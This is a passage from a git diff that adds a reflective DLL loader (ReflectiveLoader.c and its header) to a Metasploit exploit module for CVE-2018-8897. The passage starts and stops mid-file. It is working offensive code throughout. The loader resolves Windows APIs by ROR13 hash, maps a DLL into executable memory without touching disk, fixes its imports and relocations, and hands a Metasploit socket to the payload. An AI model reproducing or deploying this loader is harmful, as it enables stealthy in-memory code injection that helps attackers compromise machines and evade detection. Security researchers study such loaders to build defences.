of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#include "ReflectiveLoader.h" +//===============================================================================================// +// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value +HINSTANCE hAppInstance = NULL; +//===============================================================================================// +#pragma intrinsic( _ReturnAddress ) +// This function can not be inlined by the compiler or we will not get the address we expect. Ideally +// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of +// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics +// available (and no inline asm available under x64). +__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); } +//===============================================================================================// + +#ifdef ENABLE_OUTPUTDEBUGSTRING +#define OUTPUTDBG(str) pOutputDebug((LPCSTR)str) +#else /* ENABLE_OUTPUTDEBUGSTRING */ +#define OUTPUTDBG(str) do{}while(0) +#endif + +// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN, +// otherwise the DllMain at the end of this file will be used. + +// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR, +// otherwise it is assumed you are calling the ReflectiveLoader via a stub. + +// This is our position independent reflective DLL loader/injector +#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter ) +#else +DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID ) +#endif +{ + // the functions we need + LOADLIBRARYA pLoadLibraryA = NULL; + GETPROCADDRESS pGetProcAddress = NULL; + VIRTUALALLOC pVirtualAlloc = NULL; + NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL; +#ifdef ENABLE_STOPPAGING + VIRTUALLOCK pVirtualLock = NULL; +#endif +#ifdef ENABLE_OUTPUTDEBUGSTRING + OUTPUTDEBUG pOutputDebug = NULL; +#endif + + USHORT usCounter; + + // the initial location of this image in memory + ULONG_PTR uiLibraryAddress; + // the kernels base address and later this images newly loaded base address + ULONG_PTR uiBaseAddress; + + // variables for processing the kernels export table + ULONG_PTR uiAddressArray; + ULONG_PTR uiNameArray; + ULONG_PTR uiExportDir; + ULONG_PTR uiNameOrdinals; + DWORD dwHashValue; + + // variables for loading this image + ULONG_PTR uiHeaderValue; + ULONG_PTR uiValueA; + ULONG_PTR uiValueB; + ULONG_PTR uiValueC; + ULONG_PTR uiValueD; + ULONG_PTR uiValueE; + + // STEP 0: calculate our images current base address + + // we will start searching backwards from our callers return address. + uiLibraryAddress = caller(); + + // loop through memory backwards searching for our images base address + // we dont need SEH style search as we shouldnt generate any access violations with this + while( TRUE ) + { + if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE ) + { + uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), + // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. + if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 ) + { + uiHeaderValue += uiLibraryAddress; + // break if we have found a valid MZ/PE header + if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE ) + break; + } + } + uiLibraryAddress--; + } + + // STEP 1: process the kernels exports for the functions our loader needs... + + // get the Process Enviroment Block +#ifdef _WIN64 + uiBaseAddress = __readgsqword( 0x60 ); +#else +#ifdef WIN_ARM + uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 ); +#else _WIN32 + uiBaseAddress = __readfsdword( 0x30 ); +#endif +#endif + + // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx + uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr; + + // get the first entry of the InMemoryOrder module list + uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; + while( uiValueA ) + { + // get pointer to current modules name (unicode string) + uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; + // set bCounter to the length for the loop + usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; + // clear uiValueC which will store the hash of the module name + uiValueC = 0; + + // compute the hash of the module name... + do + { + uiValueC = ror( (DWORD)uiValueC ); + // normalize to uppercase if the module name is in lowercase + if( *((BYTE *)uiValueB) >= 'a' ) + uiValueC += *((BYTE *)uiValueB) - 0x20; + else + uiValueC += *((BYTE *)uiValueB); + uiValueB++; + } while( --usCounter ); + + // compare the hash with that of kernel32.dll + if( (DWORD)uiValueC == KERNEL32DLL_HASH ) + { + // get this modules base address + uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; + + // get the VA of the modules NT Header + uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the VA of the export directory + uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); + + // get the VA for the array of name pointers + uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); + + // get the VA for the array of name ordinals + uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); + + usCounter = 3; +#ifdef ENABLE_STOPPAGING + usCounter++; +#endif +#ifdef ENABLE_OUTPUTDEBUGSTRING + usCounter++; +#endif + + // loop while we still have imports to find + while( usCounter > 0 ) + { + // compute the hash values for this function name + dwHashValue = _hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); + + // if we have found a function we want we get its virtual address + if( dwHashValue == LOADLIBRARYA_HASH + || dwHashValue == GETPROCADDRESS_HASH + || dwHashValue == VIRTUALALLOC_HASH +#ifdef ENABLE_STOPPAGING + || dwHashValue == VIRTUALLOCK_HASH +#endif +#ifdef ENABLE_OUTPUTDEBUGSTRING + || dwHashValue == OUTPUTDEBUG_HASH +#endif + ) + { + // get the VA for the array of addresses + uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); + + // use this functions name ordinal as an index into the array of name pointers + uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); + + // store this functions VA + if( dwHashValue == LOADLIBRARYA_HASH ) + pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) ); + else if( dwHashValue == GETPROCADDRESS_HASH ) + pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) ); + else if( dwHashValue == VIRTUALALLOC_HASH ) + pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) ); +#ifdef ENABLE_STOPPAGING + else if( dwHashValue == VIRTUALLOCK_HASH ) + pVirtualLock = (VIRTUALLOCK)( uiBaseAddress + DEREF_32( uiAddressArray ) ); +#endif +#ifdef ENABLE_OUTPUTDEBUGSTRING + else if( dwHashValue == OUTPUTDEBUG_HASH ) + pOutputDebug = (OUTPUTDEBUG)( uiBaseAddress + DEREF_32( uiAddressArray ) ); +#endif + + // decrement our counter + usCounter--; + } + + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + } + else if( (DWORD)uiValueC == NTDLLDLL_HASH ) + { + // get this modules base address + uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; + + // get the VA of the modules NT Header + uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the VA of the export directory + uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); + + // get the VA for the array of name pointers + uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); + + // get the VA for the array of name ordinals + uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); + + usCounter = 1; + + // loop while we still have imports to find + while( usCounter > 0 ) + { + // compute the hash values for this function name + dwHashValue = _hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); + + // if we have found a function we want we get its virtual address + if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) + { + // get the VA for the array of addresses + uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); + + // use this functions name ordinal as an index into the array of name pointers + uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); + + // store this functions VA + if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) + pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) ); + + // decrement our counter + usCounter--; + } + + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + } + + // we stop searching when we have found everything we need. + if( pLoadLibraryA + && pGetProcAddress + && pVirtualAlloc +#ifdef ENABLE_STOPPAGING + && pVirtualLock +#endif + && pNtFlushInstructionCache +#ifdef ENABLE_OUTPUTDEBUGSTRING + && pOutputDebug +#endif + ) + break; + + // get the next entry + uiValueA = DEREF( uiValueA ); + } + + // STEP 2: load our image into a new permanent location in memory... + + // get the VA of the NT Header for the PE to be loaded + uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + + // allocate all the memory for the DLL to be loaded into. we can load at any address because we will + // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. + uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + +#ifdef ENABLE_STOPPAGING + // prevent our image from being swapped to the pagefile + pVirtualLock((LPVOID)uiBaseAddress, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage); +#endif + + // we must now copy over the headers + uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; + uiValueB = uiLibraryAddress; + uiValueC = uiBaseAddress; + + while( uiValueA-- ) + *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++; + + // STEP 3: load in all of our sections... + + // uiValueA = the VA of the first section + uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader ); + + // itterate through all sections, loading them into memory. + uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; + while( uiValueE-- ) + { + // uiValueB is the VA for this section + uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress ); + + // uiValueC if the VA for this sections data + uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData ); + + // copy the section over + uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; + + while( uiValueD-- ) + *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++; + + // get the VA of the next section + uiValueA += sizeof( IMAGE_SECTION_HEADER ); + } + + // STEP 4: process our images import table... + + // uiValueB = the address of the import directory + uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ]; + + // we assume there is an import table to process + // uiValueC is the first entry in the import table + uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); + + // iterate through all imports until a null RVA is found (Characteristics is mis-named) + while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Characteristics ) + { + OUTPUTDBG("Loading library: "); + OUTPUTDBG((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)); + OUTPUTDBG("\n"); + + // use LoadLibraryA to load the imported module into memory + uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) ); + + if ( !uiLibraryAddress ) + { + OUTPUTDBG("Loading library FAILED\n"); + + uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR ); + continue; + } + + // uiValueD = VA of the OriginalFirstThunk + uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk ); + + // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) + uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk ); + + // itterate through all imported functions, importing by ordinal if no name present + while( DEREF(uiValueA) ) + { + // sanity check uiValueD as some compilers only import by FirstThunk + if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG ) + { + // get the VA of the modules NT Header + uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the VA of the export directory + uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); + + // get the VA for the array of addresses + uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); + + // use the import ordinal (- export ordinal base) as an index into the array of addresses + uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) ); + + // patch in the address for this imported function + DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) ); + } + else + { + // get the VA of this functions import by name struct + uiValueB = ( uiBaseAddress + DEREF(uiValueA) ); + + OUTPUTDBG("Resolving function: "); + OUTPUTDBG(((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name); + OUTPUTDBG("\n"); + + // use GetProcAddress and patch in the address for this imported function + DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name ); + } + // get the next imported function + uiValueA += sizeof( ULONG_PTR ); + if( uiValueD ) + uiValueD += sizeof( ULONG_PTR ); + } + + // get the next import + uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR ); + } + + // STEP 5: process all of our images relocations... + + // calculate the base address delta and perform relocations (even if we load at desired image base) + uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; + + // uiValueB = the address of the relocation directory + uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ]; + + // check if their are any relocations present + if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size ) + { + // uiValueC is now the first entry (IMAGE_BASE_RELOCATION) + uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); + + // and we itterate through all entries... + while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock ) + { + // uiValueA = the VA for this relocation block + uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress ); + + // uiValueB = number of entries in this relocation block + uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC ); + + // uiValueD is now the first entry in the current relocation block + uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION); + + // we itterate through all the entries in the current block... + while( uiValueB-- ) + { + // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. + // we dont use a switch statement to avoid the compiler building a jump table + // which would not be very position independent! + if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 ) + *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; + else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW ) + *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; +#ifdef WIN_ARM + // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem. + else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T ) + { + register DWORD dwInstruction; + register DWORD dwAddress; + register WORD wImm; + // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word) + dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ); + // flip the words to get the instruction as expected + dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); + // sanity chack we are processing a MOV instruction... + if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT ) + { + // pull out the encoded 16bit value (the high portion of the address-to-relocate) + wImm = (WORD)( dwInstruction & 0x000000FF); + wImm |= (WORD)((dwInstruction & 0x00007000) >> 4); + wImm |= (WORD)((dwInstruction & 0x04000000) >> 15); + wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4); + // apply the relocation to the target address + dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF; + // now create a new instruction with the same opcode and register param. + dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 ); + // patch in the relocated address... + dwInstruction |= (DWORD)(dwAddress & 0x00FF); + dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4; + dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15; + dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4; + // now flip the instructions words and patch back into the code... + *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); + } + } +#endif + else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH ) + *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); + else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW ) + *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress); + + // get the next entry in the current relocation block + uiValueD += sizeof( IMAGE_RELOC ); + } + + // get the next entry in the relocation directory + uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; + } + } + + // STEP 6: call our images entry point + + // uiValueA = the VA of our newly loaded DLL/EXE's entry point + uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint ); + + OUTPUTDBG("Flushing the instruction cache"); + // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. + pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 ); + + // call our respective entry point, fudging our hInstance value +#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR + // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) + ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter ); +#else + // if we are injecting an DLL via a stub we call DllMain with no parameter + ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL ); +#endif + + // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed. + return uiValueA; +} +//===============================================================================================// +#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN + +// you must implement this function... +extern DWORD DLLEXPORT Init( SOCKET socket ); + +BOOL MetasploitDllAttach( SOCKET socket ) +{ + Init( socket ); + return TRUE; +} + +BOOL MetasploitDllDetach( DWORD dwExitFunc ) +{ + switch( dwExitFunc ) + { + case EXITFUNC_SEH: + SetUnhandledExceptionFilter( NULL ); + break; + case EXITFUNC_THREAD: + ExitThread( 0 ); + break; + case EXITFUNC_PROCESS: + ExitProcess( 0 ); + break; + default: + break; + } + + return TRUE; +} + +BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) +{ + BOOL bReturnValue = TRUE; + + switch( dwReason ) + { + case DLL_METASPLOIT_ATTACH: + bReturnValue = MetasploitDllAttach( (SOCKET)lpReserved ); + break; + case DLL_METASPLOIT_DETACH: + bReturnValue = MetasploitDllDetach( (DWORD)lpReserved ); + break; + case DLL_QUERY_HMODULE: + if( lpReserved != NULL ) + *(HMODULE *)lpReserved = hAppInstance; + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +} + +#endif +//===============================================================================================// diff --git a/external/source/exploits/cve-2018-8897/dll/rdi/src/ReflectiveLoader.h b/external/source/exploits/cve-2018-8897/dll/rdi/src/ReflectiveLoader.h new file mode 100755 index 0000000000..9ea6d601ac --- /dev/null +++ b/external/source/exploits/cve-2018-8897/dll/rdi/src/ReflectiveLoader.h @@ -0,0 +1,223 @@ +//===============================================================================================// +// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H +#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include +#include +#include + +#include "ReflectiveDLLInjection.h" + +// Enable this define to turn on OutputDebugString support +//#define ENABLE_OUTPUTDEBUGSTRING 1 + +// Enable this define to turn on locking of memory to prevent paging +#define ENABLE_STOPPAGING 1 + +#define EXITFUNC_SEH 0xEA320EFE +#define EXITFUNC_THREAD 0x0A2A1DE0 +#define EXITFUNC_PROCESS 0x56A2B5F0 + +typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR ); +typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR ); +typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD ); +typedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG ); + +#define KERNEL32DLL_HASH 0x6A4ABC5B +#define NTDLLDLL_HASH 0x3CFA685D + +#define LOADLIBRARYA_HASH 0xEC0E4E8E +#define GETPROCADDRESS_HASH 0x7C0DFCAA +#define VIRTUALALLOC_HASH 0x91AFCA54 +#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8 + +#ifdef ENABLE_STOPPAGING +typedef LPVOID (WINAPI * VIRTUALLOCK)( LPVOID, SIZE_T ); +#define VIRTUALLOCK_HASH 0x0EF632F2 +#endif + +#ifdef ENABLE_OUTPUTDEBUGSTRING +typedef LPVOID (WINAPI * OUTPUTDEBUG)( LPCSTR ); +#define OUTPUTDEBUG_HASH 0x470D22BC +#endif + +#define IMAGE_REL_BASED_ARM_MOV32A 5 +#define IMAGE_REL_BASED_ARM_MOV32T 7 + +#define ARM_MOV_MASK (DWORD)(0xFBF08000) +#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00) +#define ARM_MOVW 0xF2400000 +#define ARM_MOVT 0xF2C00000 + +#define HASH_KEY 13 +//===============================================================================================// +#pragma intrinsic( _rotr ) + +__forceinline DWORD ror( DWORD d ) +{ + return _rotr( d, HASH_KEY ); +} + +__forceinline DWORD _hash( char * c ) +{ + register DWORD h = 0; + do + { + h = ror( h ); + h += *c; + } while( *++c ); + + return h; +} +//===============================================================================================// +typedef struct _UNICODE_STR +{ + USHORT Length; + USHORT MaximumLength; + PWSTR pBuffer; +} UNICODE_STR, *PUNICODE_STR; + +// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY +//__declspec( align(8) ) +typedef struct _LDR_DATA_TABLE_ENTRY +{ + //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry. + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STR FullDllName; + UNICODE_STR BaseDllName; + ULONG Flags; + SHORT LoadCount; + SHORT TlsIndex; + LIST_ENTRY HashTableEntry; + ULONG TimeDateStamp; +} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; + +// WinDbg> dt -v ntdll!_PEB_LDR_DATA +typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes +{ + DWORD dwLength; + DWORD dwInitialized; + LPVOID lpSsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + LPVOID lpEntryInProgress; +} PEB_LDR_DATA, * PPEB_LDR_DATA; + +// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK +typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes +{ + struct _PEB_FREE_BLOCK * pNext; + DWORD dwSize; +} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; + +// struct _PEB is defined in Winternl.h but it is incomplete +// WinDbg> dt -v ntdll!_PEB +typedef struct __PEB // 65 elements, 0x210 bytes +{ + BYTE bInheritedAddressSpace; + BYTE bReadImageFileExecOptions; + BYTE bBeingDebugged; + BYTE bSpareBool; + LPVOID lpMutant; + LPVOID lpImageBaseAddress; + PPEB_LDR_DATA pLdr; + LPVOID lpProcessParameters; + LPVOID lpSubSystemData; + LPVOID lpProcessHeap; + PRTL_CRITICAL_SECTION pFastPebLock; + LPVOID lpFastPebLockRoutine; + LPVOID lpFastPebUnlockRoutine; + DWORD dwEnvironmentUpdateCount; + LPVOID 